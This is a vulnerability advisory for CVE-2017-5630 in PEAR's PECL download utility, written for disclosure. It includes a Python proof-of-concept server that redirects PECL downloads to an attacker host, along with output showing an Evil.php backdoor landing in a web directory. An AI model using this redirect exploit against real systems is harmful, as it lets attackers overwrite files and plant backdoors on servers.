PEAR Arbitrary File Download

`[+]#############################################################################################  
[+] Credits / Discovery: John Page AKA hyp3rlinx  
[+] Website: hyp3rlinx.altervista.org  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/PEAR-ARBITRARY-FILE-DOWNLOAD.txt  
[+] ISR: ApparitionSEC  
[+]#############################################################################################  
  
  
  
Vendor:  
============  
pear.php.net  
  
  
  
Product:  
===================================  
PEAR Base System v1.10.1  
PEAR Installer's download utility  
  
  
  
Vulnerability Type:  
=======================  
Arbitrary File Download  
  
  
  
CVE Reference:  
==============  
CVE-2017-5630  
  
  
  
Security Issue:  
================  
  
The download utility class in the Installer in PEAR Base System v1.10.1,  
does not validate file types and filenames after a redirect,  
which allows remote HTTP servers to overwrite files via crafted responses,  
as demonstrated by a .htaccess overwrite.  
  
e.g.  
  
pecl download <http://some-vuln-server/file.tgz>  
  
PEAR does not rename the arbitrary invalid file to the originally requested  
(safe) filename.  
Therefore, attackers can overwrite files or download a backdoor if the PECL  
request is made from from web accesible directory etc..  
  
Moreover, PECL doesn't delete these invalid files upon download, giving the  
attacker time to exploit it if attackers  
can force the HTTP connection to stay open, and before a "invalid file  
message" is noticed.  
  
POC Video:  
https://vimeo.com/201341280  
  
  
Proof of concept:  
This POC involves 3 machines:  
First machine is victim making a PECL download command request  
Second is the vuln server receiving the file download request  
Third is the malicious server hosting the PHP backdoor, .htaccess file etc.  
===========================================================================  
  
1) Victim machine attempts to download a legit ".tgz" archive.  
  
pecl download http://VULN-SERVER:8080/Test.tgz  
  
  
2) VULN-SERVER where the victim is requesting "Test.tgz", and attacker  
controls HTTP response.  
  
  
3) EVIL-SERVER where PECL follows and downloads 'unintended' Evil.php  
backdoor.  
python -m SimpleHTTPServer 8888  
  
  
On VULN-SERVER run "PECL-File-Exploit.py"  
  
python PECL-File-Exploit.py  
  
  
import socket  
  
HOST='localhost'  
PORT=8080  
TARGET='http://EVIL-SERVER:8888/'  
FILE='.htaccess'  
s = socket.socket()  
s.bind((HOST, PORT))  
s.listen(10)  
  
print 'Waiting for PECL connections...'  
  
  
while True:  
conn, addr = s.accept()  
junk = conn.recv(512)  
conn.send('HTTP/1.1 302 Found\r\n')  
conn.send('Location: '+TARGET+FILE+'\r\n')  
conn.close()  
s.close()  
  
  
  
Then, make request for Test.tgz...  
  
C:\xampp\htdocs\webapp>pecl download http://VULN-SERVER:8080/Test.tgz  
  
downloading Evil.php ...  
Starting to download Evil.php (4,665 bytes)  
.....done: 4,665 bytes  
File C:\xampp\htdocs\webapp\Evil.php downloaded  
  
  
  
Disclosure Timeline:  
=====================================  
Vendor Notification: January 11, 2017  
Informed "PECL package no longer maintained" : January 23, 2017  
Opened Bug #2117 : January 25, 2017  
January 29, 2017 : Public Disclosure  
  
  
  
Network Access:  
================  
Remote  
  
  
  
Severity:  
=========  
High  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
hyp3rlinx  
`